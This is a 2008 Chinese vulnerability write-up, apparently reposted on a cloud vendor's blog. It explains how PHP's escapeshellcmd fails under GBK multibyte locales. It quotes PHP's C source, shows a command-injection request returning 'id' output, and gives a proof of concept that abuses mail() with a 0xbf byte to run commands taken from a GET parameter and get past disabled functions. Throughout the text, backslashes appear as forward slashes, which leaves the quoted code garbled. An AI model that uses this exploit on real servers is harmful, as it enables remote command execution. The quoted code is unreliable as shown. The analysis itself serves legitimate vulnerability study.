php escapeshellcmd多字节编码漏洞解析及延伸

本文涉及的产品
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
简介:  创建时间:2008-05-07文章属性:原创文章提交:T_Torchidy (jnchaha_at_163.
 创建时间:2008-05-07
文章属性:原创
文章提交: T_Torchidy (jnchaha_at_163.com)

漏洞公告在 http://www.sektioneins.de/advisories/SE-2008-03.txt

    PHP 5 <= 5.2.5
    PHP 4 <= 4.4.8

    一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞。
    这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:


/* {{{ php_escape_shell_cmd
   Escape all chars that could possibly be used to
   break out of a shell command

   This function emalloc's a string and returns the pointer.
   Remember to efree it when done with it.
    
   *NOT* safe for binary strings
*/  
char *php_escape_shell_cmd(char *str) {
    register int x, y, l;
    char *cmd;
    char *p = NULL;

    l = strlen(str);
    cmd = safe_emalloc(2, l, 1);
    
    for (x = 0, y = 0; x < l; x++) {
        switch (str[x]) {
            case '"':
            case '/'':
#ifndef PHP_WIN32
                if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {
                    /* noop */
                } else if (p && *p == str[x]) {
                    p = NULL;
                } else {
                    cmd[y++] = '//';
                }
                cmd[y++] = str[x];
                break;
#endif
            case '#': /* This is character-set independent */
            case '&':
            case ';':
            case '`':
            case '|':
            case '*':
            case '?':
            case '~':
            case '<':
            case '>':
            case '^':
            case '(':
            case ')':
            case '[':
            case ']':
            case '{':
            case '}':
            case '$':
            case '//':
            case '/x0A': /* excluding these two */
            case '/xFF':
#ifdef PHP_WIN32
            /* since Windows does not allow us to escape these chars, just remove them */
            case '%':
                cmd[y++] = ' ';
                break;
#endif
                cmd[y++] = '//';
                /* fall-through */
            default:
                cmd[y++] = str[x];

        }
    }
    cmd[y] = '/0';
    return cmd;
}
/* }}} */


    可以看到,php通过将",',#,&,;.....等等在shell命令行里有特殊意义的字符都通过在前面加上/变成/"./',/#,/&,/;......来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:


<?php
$e = escapeshellcmd($userinput);

// here we don't care if $e has spaces
system("echo $e");
$f = escapeshellcmd($filename);

// and here we do, so we use quotes
system("touch /"/tmp/$f/"; ls -l /"/tmp/$f"");
?>

    很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:

echo hello;id

;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:

echo hello/;id

这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。

    事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身份,BASH代表命令解释器等等......而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而GBK是双字节的,合法的GBK编码会被认为是一个字符。
    大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符/的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:

    0xbf;id
或    0xbf'id
    
经过php的escapeshellcmd单字节转码之后将会是

    0xbf5c;id
    0xbf5c'id

注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是

    [0xbfbc];id

很好,后面的id将会被执行。可以做个简单的实验,如下:

[loveshell@Loveshell tmp]$ echo 縗
>
?
[loveshell@Loveshell tmp]$ set|grep -i lang
LANG=zh_CN.GB2312
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK
[loveshell@Loveshell tmp]$ echo 縗

[loveshell@Loveshell tmp]$ set|grep -i lang
LANG=zh_CN.GBK
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$

其中縗的编码为0xbf5c,可以看到在不设置LANG为GBK的时候縗是一个非法的gb2312编码,所以会被认为是两个字符,所以其中含有的0x5c起作用,被认为命令没结束。然后我们设置编码为GBK,縗就会被认为是一个字符来echo了。
那我们如何来证明php的漏洞呢,拿

<?php
$e = escapeshellcmd($_GET[c]);
// here we don't care if $e has spaces
system("echo $e");
?>

作为例子,正常情况下上面的代码工作很好,我们提交

exp.php?c=loveshell%bf;id

结果返回

loveshell?id

我们再来稍微改下上面的代码

<?php
putenv("LANG=zh_CN.GBK");
$e = escapeshellcmd($_GET[c]);
// here we don't care if $e has spaces
system("echo $e");
?>

php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。
    mail函数一些代码片段如下:

......
    if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.");
        RETURN_FALSE;
    }

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss",
                              &to, &to_len,
                              &subject, &subject_len,
                              &message, &message_len,
                              &headers, &headers_len,
                              &extra_cmd, &extra_cmd_len
                              ) == FAILURE) {
        return;
    }
......

    if (force_extra_parameters) {
        extra_cmd = estrdup(force_extra_parameters);
    } else if (extra_cmd) {
        extra_cmd = php_escape_shell_cmd(extra_cmd);
    }

    if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
        RETVAL_TRUE;
    } else {
        RETVAL_FALSE;
    }
.....

这里如果不是安全模式就会允许第五个参数,第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数,在php_mail中片段如下:

......
    if (extra_cmd != NULL) {
        sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
        strcpy (sendmail_cmd, sendmail_path);
        strcat (sendmail_cmd, " ");
        strcat (sendmail_cmd, extra_cmd);
    } else {
        sendmail_cmd = sendmail_path;
    }

#ifdef PHP_WIN32
    sendmail = popen(sendmail_cmd, "wb");
#else
    /* Since popen() doesn't indicate if the internal fork() doesn't work
     * (e.g. the shell can't be executed) we explicitely set it to 0 to be
     * sure we don't catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd, "w");
......

extra_cmd被附着在sendmail路径后面作为参数了,这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了,我写的poc如下:


<?php
//php disable function bypass vul
//by Stefan Esser
//poc by Loveshell

putenv("LANG=zh_CN.GBK");
mail("loveshell@loveshell.net","","","","xxxx".chr(0xbf).";".$_GET[c]);
?>

可以在支持GBK的机器上运行,其他字符集应该也一样,稍微修改下也就可以用。至于修补,我想还是尽快升级到新版,或者将mail函数拉入你的黑名单之列。
    这个漏洞的本质是在于处理数据的时候理解不一致造成的,稍微把以前的一些问题结合起来很容易发现这方面的影子。php与Mysql处理不一致导致注射,程序处理和浏览器处理html不一致导致xss,处理xml不一致导致xml注射....这里又看到在linux shell处理上还有不一致的时候导致命令注射。可以预料,在perl等其他脚本语言里,涉及字符集处理的地方一样会产生这样的问题。字符集代表了系统是如何对待输入的数据,字符集不一样,系统得到的信息就不一样,在一些字符集中,只要/,',|这些特殊字符落在宽字节第二个字节范围之中的时候就会导致问题,譬如

SJIS
[/x20-/x7e]|[/xa1-/xdf]|([/x81-/x9f]|[/xe0-/xef])([/x40-/x7e]|[/x80-/xfc])

/x40-/x7e就包括了/x5c,导致问题出现。我们在设计程序在处理与其他层面的程序或者协议打交道的时候就要考虑好这个因素,做好处理的一致,避免出现问题。再次向Stefan Esser致,Stefan Esser is my hero! :)
目录
相关文章
|
20天前
|
安全 Ubuntu Shell
深入解析 vsftpd 2.3.4 的笑脸漏洞及其检测方法
本文详细解析了 vsftpd 2.3.4 版本中的“笑脸漏洞”,该漏洞允许攻击者通过特定用户名和密码触发后门,获取远程代码执行权限。文章提供了漏洞概述、影响范围及一个 Python 脚本,用于检测目标服务器是否受此漏洞影响。通过连接至目标服务器并尝试登录特定用户名,脚本能够判断服务器是否存在该漏洞,并给出相应的警告信息。
140 84
|
28天前
|
运维 数据库连接 PHP
PHP中的异常处理机制深度解析####
本文深入探讨了PHP中异常处理机制的工作原理,通过实例分析展示了如何有效地使用try-catch语句来捕获和处理运行时错误。我们将从基础概念出发,逐步深入到高级应用技巧,旨在帮助开发者更好地理解和利用这一强大的工具,以提高代码的稳定性和可维护性。 ####
|
23天前
|
SQL 安全 PHP
PHP安全性实践:防范常见漏洞与攻击####
本文深入探讨了PHP编程中常见的安全漏洞及其防范措施,包括SQL注入、XSS跨站脚本攻击、CSRF跨站请求伪造等。通过实际案例分析,揭示了这些漏洞的危害性,并提供了具体的代码示例和最佳实践建议,帮助开发者提升PHP应用的安全性。 ####
47 6
|
28天前
|
PHP 开发者 UED
PHP中的异常处理机制解析####
本文深入探讨了PHP中的异常处理机制,通过实例解析try-catch语句的用法,并对比传统错误处理方式,揭示其在提升代码健壮性与可维护性方面的优势。文章还简要介绍了自定义异常类的创建及其应用场景,为开发者提供实用的技术参考。 ####
|
26天前
|
PHP 开发者 容器
PHP命名空间深度解析及其最佳实践####
本文深入探讨了PHP中引入命名空间的重要性与实用性,通过实例讲解了如何定义、使用及别名化命名空间,旨在帮助开发者有效避免代码冲突,提升项目的模块化与可维护性。同时,文章还涉及了PHP-FIG标准,引导读者遵循最佳实践,优化代码结构,促进团队协作效率。 ####
25 1
|
29天前
|
PHP 开发者 容器
PHP命名空间深度解析:避免命名冲突与提升代码组织####
本文深入探讨了PHP中命名空间的概念、用途及最佳实践,揭示其在解决全局命名冲突、提高代码可维护性方面的重要性。通过生动实例和详尽分析,本文将帮助开发者有效利用命名空间来优化大型项目结构,确保代码的清晰与高效。 ####
28 1
|
30天前
|
SQL 安全 算法
网络安全之盾:漏洞防御与加密技术解析
在数字时代的浪潮中,网络安全和信息安全成为维护个人隐私和企业资产的重要防线。本文将深入探讨网络安全的薄弱环节—漏洞,并分析如何通过加密技术来加固这道防线。文章还将分享提升安全意识的重要性,以预防潜在的网络威胁,确保数据的安全与隐私。
61 2
|
2月前
|
安全 算法 网络安全
网络安全的盾牌与剑:漏洞防御与加密技术深度解析
在数字信息的海洋中,网络安全是航行者不可或缺的指南针。本文将深入探讨网络安全的两大支柱——漏洞防御和加密技术,揭示它们如何共同构筑起信息时代的安全屏障。从最新的网络攻击手段到防御策略,再到加密技术的奥秘,我们将一起揭开网络安全的神秘面纱,理解其背后的科学原理,并掌握保护个人和企业数据的关键技能。
49 3
|
2月前
|
编译器 PHP 开发者
PHP 8新特性解析与实战应用####
随着PHP 8的发布,这一经典编程语言迎来了诸多令人瞩目的新特性和性能优化。本文将深入探讨PHP 8中的几个关键新功能,包括命名参数、JIT编译器、新的字符串处理函数以及错误处理改进等。通过实际代码示例,展示如何在现有项目中有效利用这些新特性来提升代码的可读性、维护性和执行效率。无论你是PHP新手还是经验丰富的开发者,本文都将为你提供实用的技术洞察和最佳实践指导。 ####
32 1
|
26天前
|
SQL 安全 PHP
PHP安全性深度探索:防范常见漏洞与最佳实践####
本文深入剖析了PHP开发中常见的安全漏洞,包括SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等,并针对每种漏洞提供了详尽的防御策略与最佳实践。通过实例分析,引导读者理解如何构建更加安全的PHP应用,确保数据完整性与用户隐私保护。 ####

推荐镜像

更多